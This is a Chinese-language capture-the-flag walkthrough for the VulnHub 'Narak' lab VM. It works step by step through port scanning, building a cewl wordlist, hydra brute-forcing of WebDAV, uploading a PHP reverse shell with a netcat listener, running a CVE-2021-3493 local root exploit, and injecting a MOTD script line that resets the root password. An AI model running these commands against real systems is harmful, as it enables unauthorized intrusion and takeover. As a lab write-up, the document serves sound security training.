靶机介绍

1)靶机地址:https://download.vulnhub.com/ha/narak.ova

2)靶机难度:中

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、密码字典定制、爆破密码、webdav漏洞、PUT方法上传、BF语言解码、MOTD注入、CVE-2021-3493提权

5)靶机简介:由于人脑的思维方式,我们不太能够记住毫无关联的一串字符组合,因此我们在设置自己帐号的密码时,通常还是会基于某些自己已知的信息,来变形组合形成自己的密码。因此在美剧《黑客军团》中,我们看到男主曾利用信息收集,生成某人的专属密码字典,并以此控制了对方的电子邮件。这种方法不仅适用于个人,对于企业系统往往也非常有效。本次打靶就会利用定制密码字典的方法,突破靶机的身份认证机制,并结合WEBDAV漏洞上传WEBSHELL,从而实现对目标靶机的边界突破。在本地提权阶段,使用两种方法。其中一种方法需要结合靶机的权限漏洞和某种小众编程语言的解码,才能最终完成。

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan -l

2)全端口扫描

# nmap -p- 172.24.10.132

3)服务版本扫描

# nmap -p1337,3306 -sC -sV 172.24.10.132

4)通过浏览器访问靶机的80端口,返回的首页只有一些图片信息,查看源代码、注释也未发现其他可用信息

5)对web应用程序进行路径爬取

# dirsearch -u http://172.24.10.132

通过路径爬取出了webdav目录,通过webdav可以实现类似ftp文件传输的功能,但是利用的是web协议。但是返回的状态码未401,说明需要身份认证

尝试使用admin/admin、guest/guest等弱口令均无法正常登录成功。且直接通过暴力破解,使用默认的字段也未能破解出webdav的用户名和密码

6)对web应用程序中的隐藏文件进行爬取,爬取后缀为的php、txt、html文件

# dirsearch -u http://172.24.10.132 -f -e html,txt,php -w /usr/share/wordlists/dirb/common.txt

通过爬取发现了一个tips.txt文件,访问该文件返回如下文件内容

根据提示访问creds.txt文件,但是文件不存在

7)通过cewl工具生成专门针对于目标系统的密码字典

原理:cewl会从目标站点中爬取人类可识别,有一点含义的字符组合,将这些字符组合进行爬取收集后,经过整理、变形生成一个字典

# cewl http://172.24.10.132 -w dict.txt
# cat dict.txt |wc -l
82

8)通过cewl生成的字典对目标靶机的webdav系统进行密码破解

# hydra -L dict.txt -P dict.txt 172.24.10.132 http-get /webdav -v

通过破解,查找到了用户名yamdoot和密码Swarg

9)使用破解到的用户名yamdoot和密码Swarg尝试登录webdav系统,成功登录

http://172.24.10.132/webdav

10)使用能够使用上传功能的工具,通过webdav程序上传webshell至目标靶机

①先使用davtest工具,检测webdav目录是否支持上传,且上传后哪些文件类型能够被成功解析

# davtest               #直接输入命令可查看使用帮助
# davtest -url http://172.24.10.132/webdav -auth yamdoot:Swarg

测试结果显示,可以在webdav目录下上传文件,并且可以解析php文件

11)通过webdav上传反弹shell脚本程序

①准备php的反弹shell代码:将IP设置为kali主机IP

# cp /usr/share/webshells/php/php-reverse-shell.php ./
# vim php-reverse-shell.php

②上传webshell

# davtest -url http://172.24.10.132/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php
说明:-uploadfile表示指定上传的文件,-uploadloc表示上传后的文件名是啥

12)执行反弹shell

kali:
# nc -nvlp 4444

浏览器:
http://172.24.10.132/webdav/rev.php

13)简单升级shell

$ which python
$ which python3
/usr/bin/python3
$ python3 -c "import pty;pty.spawn('/bin/bash')"

14)通过查看用户文件,发现了三个可以登录的普通用户,但是通过su尝试切换时输入之前暴力破解出的密码,都未能成功切换至三个普通用户

$ cat /etc/passwd
$ su - yamdoot

15)查找属主为root用户,但是属主、属组可执行,且其他用户可以修改的文件

$ find / -type f -user root -perm -ug=x,o=w -exec ls -al {} \; 2>/dev/null

通过搜索发下了符合上述条件的文件,查看/mnt/hell.sh文件,发现里面有一串特殊的字符串,搜索发现该字符串为brainfuck编程语言,使用如下在线工具,将这行代码进行输出,输出了一个字符串chitragupt

地址:https://tio.run/#brainfuck
代码:--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

16)将上述发现的字符串chitragupt作为密码,第14步发现的可以登录的用户名作为账号,使用su进行登录,发现只有用户名为inferno时,可正确登录。并在该用户的家目录下发现第一个flag

$ su - inferno

17)通过查看操作系统版本为ubuntu18.04,可以使用CVE-2021-3493进行本地提权

kali:
# gcc exploit.c  -o exp
# scp exp inferno@172.24.10.132:~

目标靶机:
$ chmod +x exp
$ ./exp
# cat user.txt

18)第二种提权方式:根据第15步的文件查找发现,在motd目录下存在多个脚本,而motd一般作为linux操作系统,在用户登录成功后,会自动执行的内容,所以可以在其中写入一个修改密码root密码的操作,当普通用户登录成功后,就会自动的修改root用户密码

$ find / -type f -user root -perm -ug=x,o=w -exec ls -al {} \; 2>/dev/null

$ vi /etc/update-motd.d/00-header
echo "root:123" |chpasswd                      #末尾添加

修改完上述文件后,通过ssh登录inferno用户,就会自动修改root密码,即可通过su切换成root用户

# ssh inferno@172.24.10.132
$ su - root